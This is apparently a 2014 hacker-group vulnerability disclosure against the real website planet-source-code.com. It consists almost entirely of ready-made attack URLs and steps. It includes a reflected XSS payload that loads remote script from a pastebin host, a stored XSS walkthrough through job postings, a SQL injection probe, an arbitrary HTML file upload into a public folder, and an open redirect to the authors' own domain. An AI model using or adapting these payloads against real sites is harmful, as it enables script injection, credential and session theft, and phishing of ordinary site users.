#Title : Planet Source Code - Multiple Vulnerabilities
#Author : DevilScreaM
#Date : 15 November 2014
#Category : Web Applications
#Vendor : http://planet-source-code.com
#Greetz : newbie-security.or.id | Indonesian Security
Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber | Madleets

============================================================================================

Remote Cross Site Scripting
Location : vb/scripts/BrowseCategoryOrSearchResults.asp
Parameter : txtCriteria

Reference : https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

POC :
http://planet-source-code.com/vb/scripts/BrowseCategoryOrSearchResults.asp?txtCriteria=[XSS+BYPASS_FILTERING]

Example :
http://planet-source-code.com/vb/scripts/BrowseCategoryOrSearchResults.asp?txtCriteria="><SCRIPT/SRC="http://pastebin.com/raw.php?i=sUHjCcQ1"></SCRIPT>

===========================================================================================

Stored Cross Site Scripting

POC :

1. You Must Register or Login to Planet-Source-Code
2. After Login, Go to Link :
http://planet-source-code.com/vb/jobs/PostJob.asp?lngWId=8

Input your Script Cross Site Scripting at Textbox Job Title,Company,Description

3. View your Cross Script Scripting at :
http://planet-source-code.com/vb/jobs/ListJobs.asp

=============================================================================================

Cross Site Scripting

Location : vb/scripts/voting/VoteLog.asp
Parameter : txtCodeName

POC :
http://planet-source-code.com/vb/scripts/voting/VoteLog.asp?intUserRatingTotal=&lngWid=10&txtCodeName=[YOUR_XSS]&txtCodeId=9431&intNumOfUserRatings=0

Example :
http://planet-source-code.com/vb/scripts/voting/VoteLog.asp?intUserRatingTotal=&lngWid=10&txtCodeName=<script>alert("DevilScreaM")</script>&txtCodeId=9431&intNumOfUserRatings=0

===============================================================================================

Possible SQL Injection

Location : vb/jobs/ListJobs.asp
Parameter : txtMaxNumberOfEntriesPerPage

POC :
http://planet-source-code.com/vb/jobs/ListJobs.asp?txtMaxNumberOfEntriesPerPage=10'

================================================================================================

Arbitrary File Upload

POC :

1. You Must Register or Login to Planet Source Code
2. After Login, Go to Link
http://planet-source-code.com/vb/authors/new_author_login.asp?lngWId=1&blnExisistingAuthor=TRUE

3. Upload your File TXT or HTML in Upload Button
4. After Upload File, see your file at :
http://planet-source-code.com/Upload_PSC/AuthorPhotos/[RANDOME_NAME].html

Example :
http://planet-source-code.com/Upload_PSC/AuthorPhotos/AUTHOR_PHOTO201411151232354597.html

=====================================================================================================

URL Redirection

POC :
http://planet-source-code.com/vb/authentication/DeleteCookies.asp?txtReturnURL=[URL]

Example :

http://planet-source-code.com/vb/authentication/DeleteCookies.asp?txtReturnURL=http://newbie-security.or.id/